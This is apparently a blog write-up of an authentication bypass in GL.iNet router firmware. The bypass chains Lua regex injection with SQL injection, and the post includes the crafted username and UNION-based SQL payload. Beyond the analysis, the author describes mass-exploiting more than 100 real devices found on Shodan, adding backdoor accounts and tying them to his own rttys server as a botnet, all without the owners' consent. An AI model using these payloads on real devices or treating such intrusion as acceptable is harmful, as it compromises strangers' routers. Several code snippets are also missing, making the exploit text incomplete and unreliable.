It all started a few days ago; a friend of mine, Michele, contacted me and said he found a vulnerability in the GL.iNet firmware's latest version. The vulnerability was an RCE (Remote Code Execution) that allowed an attacker to execute arbitrary code on the device.
He then asked me to help him 'cause that was a post-auth RCE, and he didn't know how to bypass the login page. Driven by curiosity, I started to analyze the firmware, and I found it was a mix of harmful practices, poor programming skills, and a lot of fun.
# The firmware, binwalk to the rescue
The first thing I did was to download the firmware to analyze it with binwalk, a tool that allows you to *walk* the content of the binary file and match each byte against a database of known magic bytes.
By looking at the results of binwalk, we have the uImage of the kernel **Linux-5.10.176** then, we have some LZMA, which is the compressed kernel itself, and then we have a SquashFS filesystem, just the typical firmware configuration.
We are interested in the SquashFS filesystem since it contains all the files that will be extracted on the device, thus the logic of the web interface. To extract it, I used the **-e** switch.
2597238 0x27A176 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 12847666 bytes, 4096 inodes, blocksize: 262144 bytes, created: 2023-04-09 12:27:46
```
# OpenWRT-based IPC ubus
The firmware was based on OpenWRT, as we can deduct from the firmware name, so the way web APIs are handled is a mix of openwrt stuff and GL.iNet custom code, and it works roughly as follows:
1 - We have an RPC daemon that is listening on a Unix socket, which, upon receiving a request, will call ubus to forward the request to the proper handler.
2 - The ubus dispatcher, a client that will forward the request to the correct Lua handler.
3 - Then we have the **/usr/sbin/gl-ngx-session**, the actual Lua handler for the authentication mechanism.
Other handlers exist for different functionalities inside **/usr/lib/oui-httpd/rpc/**, but we are interested in the authentication mechanism, so let's focus on that.
Upon a first look at the code, I noticed that the **/usr/sbin/gl-ngx-session** script was just Lua code (no weird C MIPS esoteric code, yay!), so I started to analyze it.
The authentication mechanism works in two steps:
1 - The user sends an RPC request calling the challenge method, which will return a random nonce, the selected user's salt, and the crypt's algorithm to hash the password.
2 - The user will then send the password, which should be the md5 of the concatenation of the user, password, and the nonce.
At first look, that seemed solid, but then I looked at the *get_crypt_info* function used to get the challenge, and that's where things started to get interesting.
```lua
local function get_crypt_info(username)
if not username or username == "" then
return nil
end
for l in io.lines("/etc/shadow") do
local alg, salt = l:match('^' .. username .. ':%$(%d)%$(.+)%$')
if alg then
return tonumber(alg), salt
end
end
return nil
end
```
Does it look weird, eh?? This script loops each line inside **/etc/shadow** and matches it against our username. The RegEx will eventually check the following pattern:
```
username:$algorithm$salt$
```
In my opinion, what is really wrong about that code is that our username is not sanitized, but rather, it's used as part of the RegEX, which means that if we find a way to interrupt the regex without further processing, we can make it return whatever we want to match instead of the actual *alg* and *salt*.
As it turns out later, the Lua regex library is not posix compliant, so there's no way to interrupt the regex or make it fail/stop, nor is look-ahead matching supported 😔.
Luckily, this was one of many places where regex injection was possible. Let's look at how the second step of the authentication works.
if not username or username == "" then return false end
for l in io.lines("/etc/shadow") do
local pw = l:match('^' .. username .. ':([^:]+)')
if pw then
for nonce in pairs(nonces) do
if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then
nonces[nonce] = nil
nonce_cnt = nonce_cnt - 1
return true
end
end
return false
end
end
return false
end
```
This time, the RegEx injection happens inside the *login_test* function; it tries to match everything from the first colon (the hashed password) until the next one.
Luckily, this time, the regex is not strong enough 'cause the usual lines from **/etc/shadow** look like this:
Since we have multiple colons that could catch the regex match group, I made it return a different object rather than the hashed password, and as it turned out, that was possible.
With the following username:
```
root:[^:]+:[^:]+
The regex becomes
root:[^:]+:[^:]+:([^:]+)
```
I was able to shift forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash:
Let's recap: to take the nonce, we use the original *root* username, and then on the second request, we craft the modified username, which shifts forward the match, and then we use our pre-computed hash to win the challenge.
Upon sending both requests, we are welcomed by the following response:
Not all that shine is gold, and this is the case... In fact, upon logging in with the provided session ID, I got a bunch of **ACCESS DENIED** errors, and we were taken back to the login page.
I asked myself what was going on, and upon further analysis, I found that small piece of code preventing me from getting the flag, ehmmm ops, I mean root (that looks like a CTF).
```lua
local aclgroup = db.get_acl_by_username(username)
local sid = utils.generate_id(32)
sessions[sid] = {
username = username,
aclgroup = aclgroup,
timeout = time_now() + session_timeout
}
```
The issue was with the *aclgroup*, since that was set to blank instead of some fancy ACL name. That's 'cause we used an invalid username (a mix of regex, luck, and magic) instead of the **root** string.
Upon further research in the firmware, I found the code responsible for processing the ACL... 🥁 ... that's what I found inside **/usr/lib/lua/oui/db.lua**:
```lua
M.get_acl_by_username = function(username)
if username == "root" then return "root" end
local db = sqlite3.open(DB)
local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username)
local aclgroup = ""
for a in db:rows(sql) do
aclgroup = a[1]
end
db:close()
return aclgroup
end
```
Wait what?? The ACL is just a string inside a SQLite database, but what caught my attention was that tiny `%s` inside the query (yep, that's what you think). In fact, the username is not sanitized and used as part of the query, which means we can inject SQL code inside the username and make it return whatever we want.
But wait, that means our username should be both a valid regex and a valid SQL query, and that's not possible or is it?
The trick I used here was abusing a single-character match group to inject the SQL code. In fact, the following regex is valid both for Lua and SQL injection:
Here, I remove the **t** character from the **root** string and replace it with a single character match group, which will match everything except our SQL code (note the T for the SELECT statement); clever, uhm!? 😀
This will make the query look as follows:
```sql
SELECT acl FROM account WHERE username = 'roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+'
```
This will return our beloved **root** ACL, and we can finally log in as root!
# Come to the dark side, we have cookies
Yes, we have cookies indeed, but what now? Should I stop here and report the vuln? Maybe, but not that time. I was bored and wanted more fun, so I started looking at GL.iNet documentation, looking for neat API stuff to call and play with.
GL.iNet developers are friendly and provide excellent documentation for their API, which can be found [here](https://dev.gl-inet.com/router-4.x-api/){title="GL.iNet 4.x web APIs"}.
As we can deduct from the API parameters, we can add a new user to the system! This seems a neat feature, so I tested this, and after adding a new user, I tried to log in via SSH but got no luck this time 😔 (we will be back on that later).
So, I returned to the documentation, and something caught my attention again. It was the **rtty/run** API with the following arguments:
```
SID: the token of the session
token: the token used during the authentication with a remote server
host server host
port server port
ssl: whether to enable SSL on the server
```
After some googling, I found that [**rtty**](https://github.com/zhaojh329/rtty) is a public GitHub project created by some Chinese guy. The project readme states the following:
> This project is officially supported by GL.iNet.
Oh, nice, some official tool! rtty is the client which is pre-installed on the devices, and it's used to connect to a remote server that is running the [**rttys**](https://github.com/zhaojh329/rttys) server, which is a remote terminal server.
Armed with this knowledge, I connected to my VPS and installed the rttys server with the command:
```
sudo docker run -it -p 5912:5912 -p 5913:5913 zhaojh329/rttys:latest
```
This docker will listen on ports like **5912** and **5913**, respectively, for registration and web interface.
With a bit of Python-fu 🐍 I automated the whole process of searching vulnerable devices on Shodan, exploiting them, adding a backdoor user, and making them connect to my rttys server.
The result was a stunning botnet of 100+ devices (actually, there are even more vulnerable devices on Shodan, but I stopped at 100).
Now, I can command all the devices to do whatever we want with the backdoor account we create. I forgot to mention that rttys allow us to execute scheduled commands, so we can even make them execute commands at a specific time, like an actual botnet.
# Bonus chapter, above and beyond
So far, we have exploited the vulnerability and created a botnet, but we didn't manage to create a root account. In fact, the **system/add_user** API makes a regular user rather than a root one.
To create a root account, we need to exploit another vulnerability. **system/add_user** works by appending a new line to **/etc/passwd** and **/etc/shadow** files, obviously without sanitizing the username.
This was a really fun vuln to exploit. I hope you enjoyed it as much as I did. I reported the vuln to GL.iNet, and they fixed it in the latest firmware version, so if you have a GL.iNet device, please update it.
